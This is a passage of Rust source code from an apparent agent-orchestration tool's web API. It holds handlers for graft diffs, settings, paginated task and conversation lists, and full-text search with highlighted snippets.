4395) -> ApiResult<Json<crate::report_view::RunReportView>> {
4396    let view = blocking(move || {
4397        let id = resolve_run(&ui.runs, &id)?;
4398        let state = read_run(&ui.runs, &id)?;
4399        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4400        // Only a record that lacks the structured details reads `artifacts/`.
4401        let recovered = state.graft.as_ref().map(|_| {
4402            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4403        });
4404        Ok(crate::report_view::build_with(
4405            &state,
4406            state.liveness(daemon_claims),
4407            recovered.as_ref(),
4408        ))
4409    })
4410    .await?;
4411    Ok(Json(view))
4412}
4413
4414/// Most of a graft diff the route returns.
4415const GRAFT_DIFF_MAX: usize = 400 * 1024;
4416/// How long `git diff` may run.
4417const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4418
4419/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4420/// come from the run record, never from the request.
4421async fn run_graft_diff(
4422    State(ui): State<Arc<Ui>>,
4423    Path(id): Path<String>,
4424) -> ApiResult<impl IntoResponse> {
4425    let (repo, pre, post) = blocking(move || {
4426        let id = resolve_run(&ui.runs, &id)?;
4427        let state = read_run(&ui.runs, &id)?;
4428        let g = state
4429            .graft
4430            .as_ref()
4431            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4432        let post = g
4433            .post
4434            .clone()
4435            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4436        Ok((state.repo.clone(), g.pre.clone(), post))
4437    })
4438    .await?;
4439    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4440    if !hex(&pre) || !hex(&post) {
4441        return Err(ApiError::not_found("the recorded commits are not valid"));
4442    }
4443    let out = tokio::time::timeout(
4444        GRAFT_DIFF_TIMEOUT,
4445        crate::git::git_raw(
4446            &repo,
4447            &[
4448                "diff",
4449                "--no-color",
4450                "--no-ext-diff",
4451                "-M",
4452                &pre,
4453                &post,
4454                "--",
4455            ],
4456        ),
4457    )
4458    .await
4459    .map_err(|_| ApiError::not_found("git diff timed out"))?
4460    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4461    if out.code != Some(0) {
4462        return Err(ApiError::not_found(
4463            "the recorded commits are no longer in the repository",
4464        ));
4465    }
4466    let mut body = out.stdout;
4467    if body.len() > GRAFT_DIFF_MAX {
4468        let mut cut = GRAFT_DIFF_MAX;
4469        while !body.is_char_boundary(cut) {
4470            cut -= 1;
4471        }
4472        body.truncate(cut);
4473        body.push_str("\n... diff truncated ...");
4474    }
4475    Ok((
4476        [
4477            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4478            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4479        ],
4480        body,
4481    ))
4482}
4483
4484/// A task as the UI sees it.
4485///
4486/// The whole task, plus the two things the client would otherwise have to
4487/// reimplement: the human-readable source and the status string. Nothing is
4488/// removed - the phone shows `last_error` and the run history verbatim.
4489#[derive(Debug, Serialize)]
4490struct TaskView {
4491    #[serde(flatten)]
4492    task: Task,
4493    source_label: String,
4494    source_link: Option<SourceLink>,
4495    status_str: &'static str,
4496    /// The instruction, parsed as markdown, for the Queue card's "Full
4497    /// instruction" panel. `task.instruction` is unchanged and still carries
4498    /// the raw text.
4499    instruction_md: Vec<md::Node>,
4500    /// For a blocked task, what it waits on with each dependency's state, e.g.
4501    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4502    /// recurses; empty for every other status.
4503    waits_on: Vec<String>,
4504    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4505    /// behind - non-empty means nothing in the loop will ever run it.
4506    stuck_roots: Vec<String>,
4507}
4508
4509impl From<Task> for TaskView {
4510    fn from(task: Task) -> Self {
4511        Self {
4512            source_label: task.source.label(),
4513            source_link: source_link(&task.source),
4514            status_str: task.status.as_str(),
4515            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4516            waits_on: Vec::new(),
4517            stuck_roots: Vec::new(),
4518            task,
4519        }
4520    }
4521}
4522
4523impl TaskView {
4524    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4525        let waits_on = inv.waits_on(&task);
4526        let stuck_roots = inv
4527            .stuck_roots(&task)
4528            .iter()
4529            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4530            .collect();
4531        Self {
4532            waits_on,
4533            stuck_roots,
4534            ..Self::from(task)
4535        }
4536    }
4537}
4538
4539/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4540/// its absence, leaves the cache to decide.
4541#[derive(Debug, Default, Deserialize)]
4542#[serde(default)]
4543struct ReposQuery {
4544    refresh: u8,
4545}
4546
4547/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4548/// listing `magi repos` prints at a terminal.
4549///
4550/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4551/// so an edit to `magi.toml` takes effect without a restart, the same
4552/// reasoning [`config_for`] documents for the talk routes.
4553async fn repos_list(
4554    State(ui): State<Arc<Ui>>,
4555    Query(q): Query<ReposQuery>,
4556) -> ApiResult<Json<Vec<repos::Repo>>> {
4557    let refresh = q.refresh != 0;
4558    blocking(move || {
4559        let (cfg, _) = Config::discover(&ui.repo, None)?;
4560        Ok(Json(ui.repos_cache.list(
4561            &cfg.repos.roots,
4562            Duration::from_secs(cfg.repos.scan_ttl),
4563            refresh,
4564        )))
4565    })
4566    .await
4567}
4568
4569/// Optional context, restricted to the server's known checkouts.
4570#[derive(Debug, Default, Deserialize)]
4571struct SettingsQuery {
4572    repo: Option<PathBuf>,
4573}
4574
4575/// Always discover against the server's original context, never the selection.
4576/// If that config is broken, retain the default context and machine-only roots
4577/// so the settings error contract and recovery picker remain available.
4578fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4579    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4580        let paths: Vec<PathBuf> = ui
4581            .machine_config
4582            .iter()
4583            .filter(|p| p.is_file())
4584            .cloned()
4585            .collect();
4586        if paths.is_empty() {
4587            Ok(Config::autodetected())
4588        } else {
4589            Config::load_layers(&paths)
4590        }
4591    });
4592    let mut known = cfg
4593        .map(|cfg| {
4594            ui.repos_cache.list(
4595                &cfg.repos.roots,
4596                Duration::from_secs(cfg.repos.scan_ttl),
4597                refresh,
4598            )
4599        })
4600        .unwrap_or_default();
4601    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4602    if !known.iter().any(|r| r.path == path) {
4603        known.push(repos::Repo {
4604            name: path
4605                .file_name()
4606                .unwrap_or_default()
4607                .to_string_lossy()
4608                .into_owned(),
4609            path,
4610        });
4611    }
4612    known
4613}
4614
4615fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4616    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4617    let canonical = requested.canonicalize().ok();
4618    let mut known = settings_repositories(ui, false);
4619    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4620    if !known.iter().any(matches) {
4621        known = settings_repositories(ui, true);
4622    }
4623    let repo = known
4624        .iter()
4625        .find(|r| matches(r))
4626        .map(|r| r.path.clone())
4627        .ok_or_else(|| ApiError {
4628            text_reason: None,
4629            status: StatusCode::UNPROCESSABLE_ENTITY,
4630            message: "Choose a known repository from the Settings selector.".to_owned(),
4631        })?;
4632    Ok((repo, known))
4633}
4634
4635/// `GET /api/settings` - the effective role assignments and roster, with the
4636/// layer each came from. A config that fails to load answers 200 with an
4637/// `error`, so the screen can say so instead of drawing empty lists.
4638async fn settings_get(
4639    State(ui): State<Arc<Ui>>,
4640    Query(q): Query<SettingsQuery>,
4641) -> ApiResult<Json<settings::SettingsView>> {
4642    blocking(move || {
4643        let (repo, known) = settings_context(&ui, q)?;
4644        Ok(Json(settings::view_with_repos(
4645            &repo,
4646            ui.machine_config.as_deref(),
4647            &known,
4648        )))
4649    })
4650    .await
4651}
4652
4653/// The body of `PUT /api/settings/roles`.
4654#[derive(Debug, Deserialize)]
4655#[serde(deny_unknown_fields)]
4656struct RolesBody {
4657    /// The `revision` the client last read.
4658    revision: String,
4659    /// Role key to its new ids; an empty list resets the key to its default.
4660    #[serde(default)]
4661    roles: std::collections::BTreeMap<String, Vec<String>>,
4662    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4663    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4664    /// words (422) instead of as a deserialization error.
4665    #[serde(default)]
4666    counts: std::collections::BTreeMap<String, serde_json::Value>,
4667}
4668
4669/// `PUT /api/settings/roles` - save role assignments to the machine config.
4670///
4671/// The write target is `ui.machine_config` and nothing in the body can change
4672/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4673/// 422 with the reason in words.
4674async fn settings_put_roles(
4675    State(ui): State<Arc<Ui>>,
4676    Query(q): Query<SettingsQuery>,
4677    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4678) -> ApiResult<Json<settings::SettingsView>> {
4679    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4680    blocking(move || {
4681        let (repo, known) = settings_context(&ui, q)?;
4682        settings::save_with_repos(
4683            &repo,
4684            ui.machine_config.as_deref(),
4685            &body.revision,
4686            &body.roles,
4687            &body.counts,
4688            &known,
4689        )
4690        .map(Json)
4691        .map_err(|e| match e {
4692            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4693            settings::SaveError::Refused(m) => ApiError {
4694                text_reason: None,
4695                status: StatusCode::UNPROCESSABLE_ENTITY,
4696                message: m,
4697            },
4698            settings::SaveError::Internal(m) => ApiError::internal(m),
4699        })
4700    })
4701    .await
4702}
4703
4704async fn queue_list(
4705    State(ui): State<Arc<Ui>>,
4706    Query(q): Query<ListQuery>,
4707) -> ApiResult<Json<Vec<TaskView>>> {
4708    blocking(move || {
4709        let tasks = ui.queue.list();
4710        let inv =
4711            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4712        Ok(Json(
4713            tasks
4714                .into_iter()
4715                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4716                .map(|t| TaskView::with_inventory(t, &inv))
4717                .collect(),
4718        ))
4719    })
4720    .await
4721}
4722
4723/// Cursor pages read a bounded number of records, never the older transcripts
4724/// or instructions. Cursors advance through a frozen file-name snapshot,
4725/// including corrupt rows, so skipped/deleted records cannot repeat a page.
4726/// Concurrent inserts are reconciled by a trailing store refresh.
4727#[derive(Debug, Default, Deserialize)]
4728struct PageQuery {
4729    before: Option<String>,
4730}
4731
4732#[derive(Serialize)]
4733struct StorePage<T> {
4734    rows: Vec<T>,
4735    next: Option<String>,
4736}
4737
4738const STORE_PAGE_SIZE: usize = 16;
4739
4740/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
4741/// always read from disk; writes/deletions during the walk are reconciled by
4742/// the next store revision. Never rescan the entire directory for every page.
4743#[derive(Debug)]
4744struct ListWalk {
4745    token: u64,
4746    talks: bool,
4747    opened: std::time::Instant,
4748    ids: Arc<Vec<String>>,
4749}
4750
4751fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4752    let mut walks = ui
4753        .monitor
4754        .list_walks
4755        .lock()
4756        .unwrap_or_else(PoisonError::into_inner);
4757    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4758    let (token, ids, offset) = if let Some(cursor) = q.before {
4759        let (token, offset) = cursor
4760            .split_once(':')
4761            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4762        let token = token
4763            .parse::<u64>()
4764            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4765        let offset = offset
4766            .parse::<usize>()
4767            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4768        let walk = walks
4769            .iter()
4770            .find(|walk| walk.token == token && walk.talks == talks)
4771            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4772        (token, walk.ids.clone(), offset)
4773    } else {
4774        let root = if talks {
4775            ui.talks.root()
4776        } else {
4777            ui.queue.root()
4778        };
4779        let mut ids = crate::queue::record_ids(root, "json")?;
4780        ids.sort_unstable_by(|a, b| b.cmp(a));
4781        let ids = Arc::new(ids);
4782        let mut token = crate::rng::entropy();
4783        while walks.iter().any(|walk| walk.token == token) {
4784            token = crate::rng::entropy();
4785        }
4786        // Four clients can enumerate both stores and overlap a refresh. Bound
4787        // retained membership snapshots; an evicted cursor explicitly retries.
4788        if walks.len() >= 16 {
4789            walks.remove(0);
4790        }
4791        walks.push(ListWalk {
4792            token,
4793            talks,
4794            opened: std::time::Instant::now(),
4795            ids: ids.clone(),
4796        });
4797        (token, ids, 0)
4798    };
4799    if offset > ids.len() {
4800        return Err(ApiError::bad_request("Invalid list cursor"));
4801    }
4802    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4803    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4804    Ok((ids[offset..end].to_vec(), next))
4805}
4806
4807async fn queue_page(
4808    State(ui): State<Arc<Ui>>,
4809    Query(q): Query<PageQuery>,
4810) -> ApiResult<Json<StorePage<TaskView>>> {
4811    blocking(move || {
4812        let (ids, next) = page_ids(&ui, false, q)?;
4813        let tasks: Vec<_> = ids
4814            .into_iter()
4815            .filter_map(|id| ui.queue.get(&id).ok())
4816            .collect();
4817        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4818        let rows = tasks
4819            .into_iter()
4820            .map(|task| TaskView::with_inventory(task, &inv))
4821            .collect();
4822        Ok(Json(StorePage { rows, next }))
4823    })
4824    .await
4825}
4826
4827/// List-only projection: retain every turn timestamp for exact unread counts,
4828/// but do not ship transcripts, parse Markdown or discover repository config.
4829/// Opening a conversation obtains its full context window and controls.
4830#[derive(Serialize)]
4831struct TalkListView {
4832    id: String,
4833    repo: PathBuf,
4834    agent: String,
4835    status: talk::TalkStatus,
4836    turns: Vec<TalkListTurn>,
4837    thinking: bool,
4838    context: talk::ContextUsage,
4839    created_at: Timestamp,
4840    updated_at: Timestamp,
4841}
4842
4843#[derive(Serialize)]
4844struct TalkListTurn {
4845    who: talk::Who,
4846    at: Timestamp,
4847    body: String,
4848}
4849
4850async fn talks_page(
4851    State(ui): State<Arc<Ui>>,
4852    Query(q): Query<PageQuery>,
4853) -> ApiResult<Json<StorePage<TalkListView>>> {
4854    blocking(move || {
4855        let (ids, next) = page_ids(&ui, true, q)?;
4856        let rows = ids
4857            .into_iter()
4858            .filter_map(|id| ui.talks.get(&id).ok())
4859            .map(|talk| TalkListView {
4860                thinking: ui.is_thinking(&talk.id),
4861                context: talk::context_usage(&talk, None),
4862                turns: talk
4863                    .turns
4864                    .iter()
4865                    .map(|turn| TalkListTurn {
4866                        who: turn.who,
4867                        at: turn.at,
4868                        body: turn
4869                            .body
4870                            .lines()
4871                            .next()
4872                            .unwrap_or_default()
4873                            .chars()
4874                            .take(240)
4875                            .collect(),
4876                    })
4877                    .collect(),
4878                id: talk.id,
4879                repo: talk.repo,
4880                agent: talk.agent,
4881                status: talk.status,
4882                created_at: talk.created_at,
4883                updated_at: talk.updated_at,
4884            })
4885            .collect();
4886        Ok(Json(StorePage { rows, next }))
4887    })
4888    .await
4889}
4890
4891async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4892    blocking(move || {
4893        let tasks = ui.indexed_tasks()?;
4894        Ok(Json(TaskCountsView::from(
4895            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4896        )))
4897    })
4898    .await
4899}
4900
4901/// Most hits one search returns. The rest are counted in `total`.
4902const SEARCH_MAX_HITS: usize = 100;
4903/// Longest query, in characters, and most terms it is split into.
4904const SEARCH_MAX_QUERY: usize = 200;
4905const SEARCH_MAX_TERMS: usize = 8;
4906/// Characters of context kept before the first hit, and after it.
4907const SNIPPET_BEFORE: usize = 50;
4908const SNIPPET_AFTER: usize = 110;
4909
4910/// `?scope=runs|tasks&q=...`
4911#[derive(Debug, Deserialize)]
4912struct SearchQuery {
4913    #[serde(default)]
4914    scope: String,
4915    #[serde(default)]
4916    q: String,
4917}
4918
4919/// One piece of a snippet. `hit` pieces are what matched; the client renders
4920/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4921#[derive(Debug, Serialize, PartialEq, Eq)]
4922struct SnippetPart {
4923    text: String,
4924    hit: bool,
4925}
4926
4927#[derive(Debug, Serialize)]
4928struct SearchHit {
4929    id: String,
4930    /// The name of the field the snippet was cut from.
4931    field: String,
4932    snippet: Vec<SnippetPart>,
4933    /// The run's list row, so the page can apply its state / section / repo
4934    /// filters to a hit outside the loaded window. Absent for tasks and for a
4935    /// run record the list view cannot read.
4936    #[serde(skip_serializing_if = "Option::is_none")]
4937    run: Option<RunSummary>,
4938}
4939
4940#[derive(Debug, Serialize)]
4941struct SearchView {
4942    scope: String,
4943    q: String,
4944    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4945    hits: Vec<SearchHit>,
4946    /// Every match, hits beyond the cap included.
4947    total: usize,
4948    truncated: bool,
4949    /// Runs whose `run.json` could not be parsed at all. They were not
4950    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4951    unreadable: usize,
4952}
4953
4954/// The text leaves of a JSON document, with the name of the field each sits
4955/// under. Keys and numbers are skipped: they are structure, not prose.
4956fn text_leaves<'a>(
4957    value: &'a serde_json::Value,
4958    field: &'a str,
4959    out: &mut Vec<(&'a str, &'a str)>,
4960) {
4961    match value {
4962        serde_json::Value::String(s) => out.push((field, s)),
4963        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4964        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4965        _ => {}
4966    }
4967}
4968
4969/// Lower-case one character without changing how many there are, so indices
4970/// in the lowered text are indices in the original.
4971fn fold_char(c: char) -> char {
4972    c.to_lowercase().next().unwrap_or(c)
4973}
4974
4975/// Split a query into its lower-cased terms.
4976fn search_terms(q: &str) -> Vec<String> {
4977    let mut terms: Vec<String> = Vec::new();
4978    for t in q.split_whitespace() {
4979        let t = t.to_lowercase();
4980        if !terms.contains(&t) {
4981            terms.push(t);
4982        }
4983    }
4984    terms
4985}
4986
4987/// Match `terms` (all of them, anywhere in the document) against the leaves
4988/// and cut a snippet around the first hit. `None` when a term is missing.
4989fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4990    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4991    let mut first: Option<usize> = None;
4992    for term in terms {
4993        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4994        first = Some(first.map_or(at, |f| f.min(at)));
4995    }
4996    // The leaf holding the earliest hit of any term is where the snippet is cut.
4997    let (field, text) = leaves[first?];
4998    Some(SearchHit {
4999        id: String::new(),
5000        field: field.to_owned(),
5001        snippet: snippet_of(text, terms),
5002        run: None,
5003    })
5004}
5005
5006/// A window of `text` around the first occurrence of any term, whitespace
5007/// collapsed, with every term occurrence inside the window marked.
5008fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5009    let chars: Vec<char> = text.chars().collect();
5010    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5011    let needles: Vec<Vec<char>> = terms
5012        .iter()
5013        .map(|t| t.chars().map(fold_char).collect())
5014        .collect();
5015    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5016        let mut best: Option<(usize, usize)> = None;
5017        for n in needles.iter().filter(|n| !n.is_empty()) {
5018            // `to` bounds where a match may start; it may run past `to` (the
5019            // caller clips what it shows). A term longer than the field cannot
5020            // occur in it (it may live in another leaf of the document).
5021            if n.len() > chars.len() || to == 0 {
5022                continue;
5023            }
5024            let last = (to - 1).min(chars.len() - n.len());
5025            if from > last {
5026                continue;
5027            }
5028            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5029                && best.is_none_or(|(b, _)| i < b)
5030            {
5031                best = Some((i, i + n.len()));
5032            }
5033        }
5034        best
5035    };
5036    let Some((start, _)) = find(0, chars.len()) else {
5037        // Matched only through a case mapping that changes length: show the head.
5038        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5039        return vec![SnippetPart {
5040            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5041            hit: false,
5042        }];
5043    };
5044    let lo = start.saturating_sub(SNIPPET_BEFORE);
5045    let hi = (start + SNIPPET_AFTER).min(chars.len());
5046    let mut parts: Vec<SnippetPart> = Vec::new();
5047    let mut push = |s: &[char], hit: bool| {
5048        if s.is_empty() {
5049            return;
5050        }
5051        let text: String = s.iter().collect();
5052        match parts.last_mut() {
5053            Some(p) if p.hit == hit => p.text.push_str(&text),
5054            _ => parts.push(SnippetPart { text, hit }),
5055        }
5056    };
5057    if lo > 0 {
5058        push(&['\u{2026}'], false);
5059    }
5060    let mut at = lo;
5061    while at < hi {
5062        match find(at, hi) {
5063            Some((s, e)) => {
5064                push(&chars[at..s], false);
5065                // A match running past the window is shown up to its edge.
5066                let shown = e.min(hi);
5067                push(&chars[s..shown], true);
5068                at = shown;
5069            }
5070            None => {
5071                push(&chars[at..hi], false);
5072                at = hi;
5073            }
5074        }
5075    }
5076    if hi < chars.len() {
5077        push(&['\u{2026}'], false);
5078    }
5079    // Collapse whitespace (newlines in an instruction) without disturbing the
5080    // hit boundaries.
5081    let mut prev_space = false;
5082    for p in &mut parts {
5083        let mut out = String::with_capacity(p.text.len());
5084        for c in p.text.chars() {
5085            if c.is_whitespace() {
5086                if !prev_space {
5087                    out.push(' ');
5088                }
5089                prev_space = true;
5090            } else {
5091                out.push(c);
5092                prev_space = false;
5093            }
5094        }
5095        p.text = out;
5096    }
5097    parts.retain(|p| !p.text.is_empty());
5098    parts
5099}
5100
5101/// The search over `docs` (id, document), newest first, capped.
5102fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5103where
5104    I: IntoIterator<Item = (String, serde_json::Value)>,
5105{
5106    for (id, doc) in docs {
5107        let mut leaves = Vec::new();
5108        // The id is text an operator types too, and it is a map key on disk,
5109        // not a leaf.
5110        leaves.push(("id", id.as_str()));
5111        text_leaves(&doc, "", &mut leaves);
5112        if let Some(mut hit) = search_document(terms, &leaves) {
5113            view.total += 1;
5114            if view.hits.len() < SEARCH_MAX_HITS {
5115                hit.id = id;
5116                view.hits.push(hit);
5117            }
5118        }
5119    }
5120    view.truncated = view.total > view.hits.len();
5121}
5122
5123/// What a conversation is searched by: its list title and each turn's text,
5124/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5125/// (session ids, repo paths, usage, drafts) is part of the document.
5126///
5127/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
5128/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
5129fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5130    let opener = talk
5131        .turns
5132        .iter()
5133        .find(|t| t.who == crate::talk::Who::Operator)
5134        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5135        .unwrap_or("");
5136    let title: String = if opener.chars().count() > 96 {
5137        opener.chars().take(95).chain(['\u{2026}']).collect()
5138    } else {
5139        opener.to_owned()
5140    };
5141    let turns: Vec<serde_json::Value> = talk
5142        .turns
5143        .iter()
5144        .map(|t| {
5145            let who = match t.who {
5146                crate::talk::Who::Operator => "operator",
5147                crate::talk::Who::Agent => "agent",
5148            };
5149            serde_json::json!({ who: t.body })
5150        })
5151        .collect();
5152    serde_json::json!({ "title": title, "turns": turns })
5153}
5154
5155/// Read-only full-text search over every run's `run.json`, every task or every
5156/// conversation (title and transcript).
5157///
5158/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5159/// record from an older schema still searches; only a file that is not JSON
5160/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5161async fn search_get(
5162    State(ui): State<Arc<Ui>>,
5163    Query(q): Query<SearchQuery>,
5164) -> ApiResult<Json<SearchView>> {
5165    let query = q.q.trim().to_owned();
5166    if query.is_empty() {
5167        return Err(ApiError::bad_request("q must not be empty"));
5168    }
5169    if query.chars().count() > SEARCH_MAX_QUERY {
5170        return Err(ApiError::bad_request(format!(
5171            "q is longer than {SEARCH_MAX_QUERY} characters"
5172        )));
5173    }
5174    let terms = search_terms(&query);
5175    if terms.len() > SEARCH_MAX_TERMS {
5176        return Err(ApiError::bad_request(format!(
5177            "q has more than {SEARCH_MAX_TERMS} terms"
5178        )));
5179    }
5180    let scope = q.scope;
5181    if scope != "runs" && scope != "tasks" && scope != "chats" {
5182        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5183    }
5184    blocking(move || {
5185        let mut view = SearchView {
5186            scope: scope.clone(),
5187            q: query,
5188            hits: Vec::new(),
5189            total: 0,
5190            truncated: false,
5191            unreadable: 0,
5192        };
5193        if scope == "runs" {
5194            let mut unreadable = 0;
5195            // One run.json is read, matched and dropped at a time; nothing
5196            // holds the whole history. The scan runs to the end even past the
5197            // hit cap so `total` and `unreadable` stay exact.
5198            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5199                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5200                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5201                    Some(v) => Some((id, v)),
5202                    None => {
5203                        unreadable += 1;
5204                        None
5205                    }
5206                }
5207            });
5208            search_docs(&terms, docs, &mut view);
5209            view.unreadable = unreadable;
5210            // Only the capped hits get a row: the filters need a run's state,
5211            // and reading every match would be the whole history again.
5212            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5213            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5214            for hit in &mut view.hits {
5215                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5216                    hit.run = summarize(
5217                        [state],
5218                        &open_runs,
5219                        &claimed,
5220                        &superseded,
5221                        |p| probe.borrow_mut().status(p),
5222                        |p| probe.borrow_mut().started_at(p),
5223                    )
5224                    .pop();
5225                }
5226            }
5227        } else if scope == "chats" {
5228            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5229            view.unreadable = unreadable;
5230            search_docs(
5231                &terms,
5232                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5233                &mut view,
5234            );
5235        } else {
5236            let docs = ui.queue.list().into_iter().filter_map(|t| {
5237                let mut v = serde_json::to_value(&t).ok()?;
5238                // `source` serialises as a tagged object; the label is what
5239                // the operator reads ("human", "chat@a1b2").
5240                if let Some(o) = v.as_object_mut() {
5241                    o.insert("filed_by".to_owned(), t.source.label().into());
5242                }
5243                Some((t.id, v))
5244            });
5245            search_docs(&terms, docs, &mut view);
5246        }
5247        Ok(Json(view))
5248    })
5249    .await
5250}
5251
5252/// One attempt in a task's history, as the task page lists it.
5253#[derive(Debug, Serialize)]
5254struct TaskRunView {
5255    /// 1-based position in [`Task::runs`].
5256    n: usize,
5257    id: String,
5258    short: String,
5259    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5260    kind: &'static str,
5261    /// The run's own status string; `None` when its record cannot be read.
5262    status: Option<&'static str>,
5263    /// Whether this build could read the run's record. Counted, never hidden.
5264    readable: bool,
5265    /// A verdict from a collapsed panel is provisional, never a decision.
5266    provisional: bool,
5267    /// What kind of attempt this was, in one line.
5268    description: String,
5269    /// How it ended and why the task moved on (or what it is doing now).
5270    outcome: String,
5271    created_at: Option<Timestamp>,
5272    pr: Option<String>,
5273    /// Why this pass ended, classified once; the flowchart is built from it.
5274    exit: RunExit,
5275    /// What the pass did to the task's attempt budget.
5276    attempt: AttemptCost,
5277    /// Edge wording for leaving this entry; names the recorded cause when
5278    /// there is one.
5279    exit_label: String,
5280    /// The position of a later entry for the same run: this entry is an
5281    /// earlier pass of it.
5282    later_pass: Option<usize>,
5283    /// Which pass over the run this entry is (1-based) and how many entries
5284    /// the task lists for the run. Counted from the list, so known even for
5285    /// a legacy record.
5286    pass_n: usize,
5287    passes_of_run: usize,
5288    /// What the run recorded about this pass; `None` for a record from before
5289    /// passes were kept, whose cause stays unknown.
5290    pass: Option<PassView>,
5291    /// The branch a review-only run reopened.
5292    branch: Option<String>,
5293    /// The badge word when it differs from `status` (`stale` / `superseded`);
5294    /// filled by the task route, which can see liveness and later attempts.
5295    badge: Option<String>,
5296}
5297
5298/// One recorded pass over a run, for the wire.
5299#[derive(Debug, Clone, PartialEq, Serialize)]
5300struct PassView {
5301    index: usize,
5302    resumed: bool,
5303    started_at: Timestamp,
5304    ended_at: Option<Timestamp>,
5305    /// `open`, `parked` or `unrecorded`.
5306    end: &'static str,
5307    cause: Option<crate::run::ParkCause>,
5308    /// One line: why it stopped, or that nobody recorded why.
5309    label: String,
5310    /// What the task recorded for this pass; `None` when it was not settled
5311    /// (or settled by a build that kept no record).
5312    cost: Option<crate::queue::PassCost>,
5313}
5314
5315impl PassView {
5316    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5317        use crate::run::PassEnd;
5318        let (end, cause, label) = match &p.end {
5319            None => ("open", None, "still open".to_owned()),
5320            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5321            Some(PassEnd::Unrecorded) => (
5322                "unrecorded",
5323                None,
5324                "stopped without recording why (a crash, a kill or a restart; not known)"
5325                    .to_owned(),
5326            ),
5327        };
5328        Self {
5329            index: p.index,
5330            resumed: p.resumed,
5331            started_at: p.started_at,
5332            ended_at: p.ended_at,
5333            end,
5334            cause,
5335            label,
5336            cost: settled.map(|t| t.cost),
5337        }
5338    }
5339}
